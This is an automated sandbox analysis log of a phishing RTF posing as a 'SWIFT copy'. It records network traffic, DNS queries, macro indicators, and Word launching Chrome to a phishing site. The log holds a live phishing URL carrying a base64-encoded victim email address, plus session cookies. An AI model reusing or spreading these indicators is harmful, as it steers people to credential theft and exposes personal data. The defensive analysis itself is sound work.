t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAXdFG2zXJUebwUgguGYWWbHRMsnS%2B4IfSJ9%2BCMd1QcLvOUKxuUSRpoToucJiIKN2Uig6kxTP7vIdH5DZZ1J1cmAGXijsrrU8WEAcKfFtMGb/hlvt6wZ5Xe/5Vnzei%2BbUCV24DETulkPCOkxstvI/Tf5heKDuj7x6JR5SuVsgZp3gqkWaN1cDvwjhfvoTMNtajKUZQb3NKEwFF1S%2Bs6tQxVdHO1AwypUjrjWphX2YWX0qu9WxxlouyEKb1GN/x8pEzxMkNl4YJjo/O709R/jdrqM/z08QQGyTZwb1ssFiu5kMcGRYf17HwRiztous9d%2BeWuGM/UxkYuN6WqtmX%2BqU0lIDZgAACKgQE27m1mYWqAH8eGq7gEmi9vK%2BplDA7hPkTr7Db5xxhKrEmVQDndkmjb30nAOh/N49GoGe0rAdnt0xddy3UFOwx29EbBE68p6nnZRYPPTNMXklCuCxwuPhIIG2SYw8v/LZGbHf8oYpZuSew4Ji1LmNS9LO2qH4qo0q3HUBzX/KNOoj/AA3mkpdwOGrd9O5uiHrGnpPUl5nnA11y70TeZqyFQ9/zi2Io9Z6qsHUc%2BCByhqAPYo8QhbjRbfyG6FqtXWuB6UAWKCauO6HPc93RNQtUnImZt0c3J2wDVOWxUEKBj45BPnEUfSjumszcYxM1yYkVtoecYAlHkY6su8QNH4TWu0Jihg0R7pSPIMh6SlgR6ZB346gKPQ3%2BDKbGakiiqSjUApfEnEcysx%2BgfcCUBf4gb8XgbasTZ25/DWXzlV3iZ82d1bn%2Bgxa%2B0unzgauO1RUx7AWra3u9smmqwt%2BVG/V%2BUO5enr9sajC12nqTJuNTXCrI1NQ3uSu%2B2P7KSVBrlIoswUcKF1JDx5IROBXMCY7AVmebQ422xJl2Esei2YVPY//7X6E6CUxo99vEzLn5Nbu2AE%3D%26p%3DX-Agent-DeviceId: 01000A41090080B6X-BM-CBT: 1716400950User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: 6A97F568F31A49E68974184EE4BAC773X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: l6agz47874.eleteriod.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l6agz47874.eleteriod.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3DSec-WebSocket-Key: CUfZK1E4poc18IHvNngsIQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: l6agz47874.eleteriod.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l6agz47874.eleteriod.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3DSec-WebSocket-Key: m39/iTEHBOJZgQigJUiDXQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: l6agz47874.eleteriod.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l6agz47874.eleteriod.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3DSec-WebSocket-Key: aSVMZuhgikmYM+al6D/0Pg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: global traffic	DNS traffic detected: DNS query: l6agz47874.eleteriod.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4722Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 22 May 2024 18:01:46 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: ntR2hJBVBgQvhgwzVtBIEg==$3hHYbZpDYMLu55b282m5Bw==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 887eb6a378b31931-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 22 May 2024 18:01:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2F%2F8fwA2vqs0hV6X0YqxGjR8hNSV4ALUkWJ9ZqXpcwgvn3H2XftGw5hRayQGVWETcok%2BOJCsdFnBTe1MguSvFO6edSx8zGPhbbDQK0ZZAI9Pvf6EskfaNztiJqInHw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: MISSServer: cloudflareCF-RAY: 887eb69c4a7e0f4f-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 22 May 2024 18:01:50 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: bJNWeR6Mx6KJi26VZ8zlwQ==$QuCqQ3ZoWMg/jCSs03f3Xw==Server: cloudflareCF-RAY: 887eb6b9a95e191b-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 22 May 2024 18:01:59 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: kT3T1djzdOP0dQxROqgjmQ==$xMNjfwv62KNOiKqynHhkfQ==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 887eb6f13b4f8c8d-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 22 May 2024 18:02:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OQvzM6oCr283x2CCG8k6QASNgqXPqG4IGodvOOdZJ6VagY3SgjGTcAShCT4aVGUVFLZaA25gpHKVTLGP6IMuRGU2OB91YvnBe8ymkHHMygPo9UeVxy1g5JvQ5Wwsmw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 887eb6fe0c7f17e1-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 22 May 2024 18:02:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=03ournybIm5fwVsi%2BnHoJXAeBfPt9vrrs%2B21q%2BfVieYahpeuXDgyAx9KLptdbEDBzO4s2Yu2AtiPsrnOsOq%2BgonVz4up9Q6OSblepM9tYcQAu1ZNTeCxReNJfEFKGA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 887eb743ddae4358-EWR

Source: Airbornemx SWIFT COPY _ Wednesday May 2024..rtf	String found in binary or memory: https://airbornemx.com/Scanned_from_Xexox_Multifun...
Source: Airbornemx SWIFT COPY _ Wednesday May 2024..rtf	String found in binary or memory: https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20=
Source: chromecache_351.6.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_351.6.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/joHA60MeME-PNviL59xVH9zs/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 59890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 59917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 59905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59907
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 59894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59903
Source: unknown	Network traffic detected: HTTP traffic on port 59916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59905
Source: unknown	Network traffic detected: HTTP traffic on port 59871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59915
Source: unknown	Network traffic detected: HTTP traffic on port 59931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59877
Source: unknown	Network traffic detected: HTTP traffic on port 59891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59910
Source: unknown	Network traffic detected: HTTP traffic on port 59913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59876
Source: unknown	Network traffic detected: HTTP traffic on port 59877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59878
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59883
Source: unknown	Network traffic detected: HTTP traffic on port 59934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59880
Source: unknown	Network traffic detected: HTTP traffic on port 59907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59881
Source: unknown	Network traffic detected: HTTP traffic on port 59928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 59888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59929
Source: unknown	Network traffic detected: HTTP traffic on port 59918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59928
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59887
Source: unknown	Network traffic detected: HTTP traffic on port 59892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59894
Source: unknown	Network traffic detected: HTTP traffic on port 59910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59897
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59891
Source: unknown	Network traffic detected: HTTP traffic on port 59937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59892
Source: unknown	Network traffic detected: HTTP traffic on port 59904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59935
Source: unknown	Network traffic detected: HTTP traffic on port 59872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59937
Source: unknown	Network traffic detected: HTTP traffic on port 59897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59933
Source: unknown	Network traffic detected: HTTP traffic on port 59909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59886 -> 443

Source: unknown	HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.17:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:59885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.17:59927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:59928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.182:443 -> 192.168.2.17:59929 version: TLS 1.2

Source: iso690.xsl.0.dr	OLE indicator, VBA macros: true
Source: gb.xsl.0.dr	OLE indicator, VBA macros: true
Source: sist02.xsl.0.dr	OLE indicator, VBA macros: true
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE indicator, VBA macros: true
Source: harvardanglia2008officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: turabian.xsl.0.dr	OLE indicator, VBA macros: true
Source: gosttitle.xsl.0.dr	OLE indicator, VBA macros: true
Source: chicago.xsl.0.dr	OLE indicator, VBA macros: true
Source: ieee2006officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: gostname.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690nmerical.xsl.0.dr	OLE indicator, VBA macros: true
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE indicator, VBA macros: true

Source: ~DFC8B2898F20CC214B.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gb.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: sist02.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: harvardanglia2008officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: turabian.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gosttitle.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: chicago.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ieee2006officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gostname.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690nmerical.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: classification engine

Classification label: mal72.phis.winRTF@23/308@22/12

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Office

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{58C547B7-7916-4CBB-AEF1-7F9E8F5B6977} - OProcSessId.dat

Jump to behavior

Source: Element design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Equations.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Insight design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	OLE indicator, Word Document stream: true

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Airbornemx SWIFT COPY _ Wednesday May 2024..rtf" /o ""
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2012,i,11068479101874162425,8933108518678558561,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown			Jump to behavior
